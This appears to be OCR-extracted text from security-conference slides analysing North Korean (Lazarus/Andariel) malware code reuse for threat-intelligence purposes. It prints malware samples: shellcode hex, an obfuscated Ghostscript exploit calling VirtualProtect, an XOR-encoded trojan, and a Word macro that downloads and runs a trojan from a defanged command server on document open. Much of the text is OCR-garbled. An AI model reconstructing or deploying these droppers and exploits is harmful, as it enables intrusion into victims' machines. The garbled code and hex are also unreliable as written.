C\Users\ddmin\ppDataiLocall TernpiHne \BinData \EMBOOOO0998594d . PR
C\Users\ddmin\AppDataiLocal’ TerpiHne \BinData \EMBOOOO098534d PR
C\Users\dmin\AppData\Locall Terp\Hne\BinDats,
CAUsers\dmin\ppDataiLocal’ TerpiHne \BinData \EMBOOOO09R594d S
CAUseps\dmin\AppDataiLocal’ Temp Hne \BinData
C\Users\ddmin\ippData\Locall Ternp\Hne \BinData \EMBOOOO0998594d . FS
C\Users\ddmin\ppDataiLocall TermpiHne \BinData \EMBOOOO0998594d . PR
C\Users\dmin\ppDataiLocall TerpiHne \BinData \EMBOOOO09R594d PR
CAUsers\ddmin\AppData\Locall Terp\Hne\BinDats,
C:AUseps\ddrmin\AppDatailLocal’ Temp Hne \BinData \EMBOO000998594d PR
CAUseps\dmin\AppDataiLocal’ Temp'Hne \BinData
C\Users\ddmin\ppDataiLocall Ternp\Hne \BinData \EMBOOOO0998534d PR
C\Users\ddmin\ppDataiLocall TerpiHne \BinData \EMBOOOO0998594d PR
CAUsers\dmin\ppDataiLocall TempiHne \BinData \EMBOOOO0R594d PR
CAUsers\dmin\AppData\Locall Terp\Hne \BinDats.
C\Users\Admin\ippData\Local’ Ternp\Hne \BinData \EMBOOII0998594d FS
C\Users\ddmin\hppDataiLocalt Terp\Hne \BinDats,

HKLM

HEKLM\Softursue \Wowsd3 2Node HNC SharedYC ommon ResDI B HWERC
C\Pyogeam Files GR6Hne Y ommonB0Hne BLAO ke

C:\Progeam Files GREHneCommon2Hne BLAO kox

C:\Puogearn Files GRENHRe W ormmonBChHne BLAO ko
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>> A Recent Sample

Ghost Script

Shellcode

Ghost Script

Embedded PE 32 bits

Embedded PE 64 bits

84 68
3C90FB602C1CI0D!
8FFC741C1CBOD4403 SEF418D040B413BC7742D8BD585ED75D44D8B004D3BC SEDFFFFFF33C04 B 3 F415EC3418B4A1C8D42FFOF)
B714434903C98B04914903C1EBD1CCCC40555356574154415541564157488D6C24E14881ECA8000000894D67B9 95E8 FOESDIFEFFFFBIBEOE22E7488945D)
FE8CBFEFFFFB94947C662488945] DFEFFFFB952F3E251488B, OFEFFFF! 8CCé' 2FEFFFFB9AB82BFA4488945C F¢ 45DTEB86FEFFFFBY
F1FD98A1488BDEESTIFEFFFFBO1F1ESAD44C8BESES BF8FFD333C948 8B45 0 0 48894D7F448BE185C0OT7SOAFF! TFFSS5CTEBOE33D2448BC08D4A40FF15E79)
FF55CF4533C9448BC64 0488BF8418 5 0 BF133D2448BC9488BCB41FFD44533C944
000C074D34C8B657F33D285C0! 3COE9BA 00448B 1 A0100004D8 8 418BC6488955 DOC400F1 ﬁ‘l‘lCFO”F"ﬁF
0F8556010! B4DBF4C8D4D' 8 9442 242889442420FF55DF33D285C00
208DS002FF55B7:
FSS: 5C0792E4
B70C48E89AFBFFFF83F85075238D42FF48
""‘311" 33D2 B4D7741FFD54C8B657F33D241FFC6443B
88BCB41FFD7488B4DBF41 EFDS‘}SEECH"”CGA JU‘}’SFMSE‘HSD‘} SCSFSESBSDC3CCCC4883EC28EBA3EDFFFFB9515724F8EBEQFBFFFF4883C42848FFEQ> def
/a78 { /a79 exch def /a80 exch def /a8l a79 length def { a80 a8l a30 a79 a8l a72 0 eq { exit } if /a80 a80 1 add def } loop a80 } bind def al3 al0
aload /a82 true def /a83 0 def { .eqproc /a84 true def /a69 0 def a6 { /a84 true def /a3 a7 a69 get def /a85 a3 length 16#20 sub def a3 a85 get { aB4 {
/ag4 false def } { /a84 true def exit } ifelse } repeat a84 { /a82 false def exit } if /a69 269 1 add def } repeat a84 { /a82 false def exit } if /a83
a83 1 add def } loop a82 { quit } { } ifelse a2 0 a2 a3 a85 16#18 add 1647E put a3 a85 16#19 add 16%#12 put a3 a85 16412 add 16%#00 put a3 a85 16#1B add
16#80 put put 16#10 { all aload } repeat /a86 a2 0 get 4 4 getinterval def /a87 a86 0 get a86 1 get 8 bitshift or a86 2 get 16 bitshift or a86 3 get 24
bitshift or def 0 1 15 { /a53 exch def /a22 a53 15 bitshift a87 add def /a2l a53 16#FFF and 3 bitshift def /a69 a53 -12 bitshift def /a20 a2 a69 get
def a20 a2l 16#7E put a20 a2l 1 add 16#12 put a20 a2l 2 add 16#00 put a20 a2l 3 add 16480 put a20 a2l 4 add a22 16#FF and put a20 a2l 5 add a22 -8
bitshift 16#FF and put 220 a2l 6 add a22 -16 bitshift 16#FF and put 220 a2l 7 add a22 -24 bitshift 16#FF and put } for 16 1 al 1 sub { /aS53 exch def
/a22 a53 15 bitshift def /a2l a3 163FFF and 3 bitshift def /a69 a53 -12 bitshift def /a20 a2 aé9 get def a20 a2l 16%7E put a20 a2l 1 add 16%12 put a20
a2l 2 add 16400 put 220 a21 3 add 16#80 put a20 a2l 4 add a22 16#FF and put 220 221 5 add 222 -8 bitshift 16#FF and put a20 a2l 6 add a22 -16 bitshift
164FF and put a20 a2l 7 add a22 -24 bitshift 164FF and put } for a2 1 {1t} put /a88 a87 12 add al6 4 add alé 4 add alé 4 add alé def /a89 a88 a44 def
/a% a89 (KERNEL32.DLL) a55 def /a9l a90 (VirtualProtect) a6l def /a92 a90 (ExitProcess) a6l def /a93 a89 <94C3> a78 def /a% a93 1 add def /a95 a89
<C20C00> a78 def a2 1 a77 put /a9 a87 12 add alé def a2 1 16#100 string put /a97 a87 12 add alé def /a98 a97 def a98 a9%8 4 add al7 a98 4 add 0 al7
/a99 a97 16#30 add def a2 1 currentfile put /al00 a87 12 add alé def a97 a98 al7 a97 4 add a99 al7 a99 a95 al7 a99 4 add a94 al7 a99 16#0C add a93 al7
299 16414 add 291 al7 299 16#18 add a9 al7 a99 16#1C add a77 length al7 a99 16420 add 16440 al7 a99 16%24 add 299 al7 299 16#2C add a92 al7 al00 164B0
add a97 al7 al00 16#98 add a9 al7 a2 1 get closefile quit|
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>> A Recent Sample

# Trojan

Cé 7D 13 93 F6 7D 12 94 C9 77 OE DA ly.ZE) . "8} . "Ew.U%

ManUSC ryt 87 26 6D ED 80 38 SC 93 D2 6D 13 93 ) Nx#&mi€8\ “Om. “é
80 60 OD 8B CE 6B SD CS5 D5 6A OE DD .c€ .«ix)A55.¢
C CD 79 13 CA CD 71 03 95 CF 6B OF 81 {.,fy.Eiq.1k..
enCOdEd Wlth CD 22 01 94 CD 36 16 D4 82 26 6D ED 5.~f".~16.0, emi
9C 6B 05 84 D5 6A 09 93 D9 26 6D ED 8@Cek. .07 . “Usmi!
)(()F{ . 80 38 5C 95 C5 69 15 82 D3 6C 05 83 s@ces\«Ai.,01.F
C9 74 05 80 C5 6B SE EA AA 38 40 C7 5. ‘Ec.€Ak"&28@
80 24 12 82 D1 6D 05 94 D4 7D 04 A2 8eces. ,fm.”0} . ¢
D4 71 OF 89 EC 7D 16 82 CC 38 OC 82 }.70q.%1}.,18.,08

# Manuscrypt
packed with
VMP.

# Decoded by
shellcode
and inject
into
“explorer.ex
e” process
directly
(fileless)

4 Hex Operations

87 79 13 AE CE 6E OF 8C C5 6A 47 C7 }.0ty.®in.@R36C
C3 7D 13 94 9D 3F 06 86 CC 6B 05 CO LAY, ...“ A - Binary Xor:

AA 38 40 C7 80 38 40 DB 8F 6A 05 96 7~828@C€ESRT. 5 .-

C5 7C 30 95 C9 6E 09 8B C5 7F 05 94 }."A10-En.cA..” Treat Data As: | Unsigned Int
80 38 40 DB 8F 6B 05 84 D5 6A 09 93

80 38 5C C8 D4 6A 15 94 D4 51 OE 81 Opersad: ET601840
9C 37 01 94 D3 7D OD 85 CC 61 SE EA 3 6 i Decimal @ Hex
A0 18 60 E7 AO 18 60 E7 A0 18 60 E7
A0 18 60 E7 AO 18 60 E7 A0 18 60 E7
A0 18 60 E7 AO 18 60 E7 A0 18 60
A0 18 60 E7 AO 18 60 E7 A0 18 60 E7
A0 18 60 E7 AO 18 60 E7 AO 18 60
A0 18 60 E7 A0 18 60 E7 A0 18 60
A0 18 60 E7 A0 18 60 E7 A0 18 60 E7
A0 18 60 E7 A0 18 60 E7 A0 18 60
A0 18 60 E7 AO 18 60 E7 A0 18 60 E7
A0 18 60 E7 A0 18 60 E7 A0 18 60
A0 18 60 E7 AO 18 60 E7 AO 18 60
A0 18 60 E7 A0 18 60 E7 A0 18 60 E7
A0 18 60 E7 AO 18 60 E7 A0 18 60 E7

Description
Does a bitwise Xor of each value with the operand.
X[1] = Operand
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Advanced

Block Shaft Left Operand Step:
Block Shaft Right . )
Rotate Left Skip Bytes:
Rotate Right
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A0 18 60 E7 AO 18 60 E7 AO 18 &0
AO 18 60 E7 AO 18 60 E7 AO 18 60
A0 18 60 E7 AO 18 60 E7 AO 18 60 E7
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A0 18 60 E7 A0 18 60 E7 A0 18 60 E7
A0 18 60 E7 AO 18 60 E7 AO 18 60
A0 18 60 E7 A0 18 60 E7
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>> Word DOC with malicious Macro

12017-07-25_04-13_279655915fe0d2e5c5d1chd25e57¢7b3_39a301c4(web)KR_1 - ThisDocument (Code)
(General) v bSsUzkfTofVj

Private Declare PtrSaEe Function xfTofVjudcPBdzLZHYK Lib "urlmon” Alias _
"RLDown loadToF i led" (ByVal PpdbUnkGABGDORKCDMWRY As Lona, ByVal KexQLAapgoteWf |VUlprjlX As String, _
ByVal PAikFhmAKftgStPOrXpe As String, ByVal gFgrDAWtRIFRix As Long, ByVal SGPn As Long) As Long Obfuscated C&C

, P, server. Decode as
Private Sub bSsUzkfTofVj() ]
Dim LzzbjvXrYuMYMKEWT As String, oZlanyPOmnwlBfu As String, bhalyeYZXdNGNsSEUY As String, udcPBdzL As String, ZHYKPpd hxxp://wonik.com/d
qZlanyPOmnwlBfu = Decrypt ("fyf/utpiwt" .
bhé lyeYZXANGNSSEUY = Environ$("tmp”) & "#" & oZlanyPOmnwlBfu ata/ﬂle/le/thumbn
ail/bbs/log.php

N ———————————

Lzzbh jvXrifuMYMKEWT = Decrypt |q iq/hpmOtecOmibocny iu012t0fmi gObubeOnpd/ | jopx00; quui |

xf TofVjudePBdzLZHYK O, LzzbjviXrWuMYMKEWT, bhalyveYZXdNGNsSEUY, O, O
TWrTXm O, "open", bhalyeYZXdNGNsSEUY, "', vbNulIString, vbNormalFocus
End Sub

Download trojan
AsdfDoor
(7caa500b60a536d75
01e7a6c02408538)

Private Sub Document_Open()
Selection,WholeStory
Selection. ParagraphFormat Al ignment = wdAlignParagraphlLeft
Selection End = Selec| 1

Selection.Font Name ="

bSsUzkfTofV]
End Sub Korean in the

Private Function Decrypt(enc) Macro script
Dim x, i, tmp
enc = StrReverse(enc)
For i =1 To Len(enc)
X = l‘v‘iid(enc, | 1]
tmp = tmp & Chrl4sc(x) - 1)
Next
Decrypt = tmp
End Function
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>> Exploit for Watering hole attack

» FE#agdvy
# C V E 2 @ 1 6 — 0 1 8 9 North Korea Freedom Federation
> Vulnerability

works on Internet
Explorer 9-11

> Remote execute
Javascript TR Ry |
> Compromised N FEv R e o
website to
targeted North

e d NKFF AR 274

m

A

DIEHZ 01 &1

Korea defectors e e — o i oace.
.

YU 600 M B
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>> Fun Facts

# Interesting PDB Strings

Removed from Release version



>> AGENDA

# Why this talk?

# Related Work

# The Malwares and Attack Cases
# The Exploit and Attack Cases
# Takeaways

# Q&A



>> Takeaways

> We introduce some “legos” codes, exploits and webshell
for identify attacks from DPRK cyber army.

> Cyber attacker from DPRK frequently reuse function
codes 1n their attacks.

> We are building a shared code library called “The

Legos” project. Encouraging researchers to release the
YARA rules of lego functions. (%

> The legos indicates a share code database or dedicated
group responsible for tools development.

> More attacks from Lazarus/Bluenoroff/Andariel are

exceptive, be prepared and update to the latest
intelligence.



Questions?

a ashley_shen_920
g krNeoTra

hackinthebox



>> Some Reference

# Reports

> Financial Security Institute - Campaign Rifle :
Andariel, the Maiden of Anguish

> https://www.vxsecurity.sqg/2016/11/22/technical-
teardown-exploit—-malware-in-hwp—-files/

> https://www.fireeye.com/blog/threat-
research/2017/05/eps—processing—-zero—-days.html



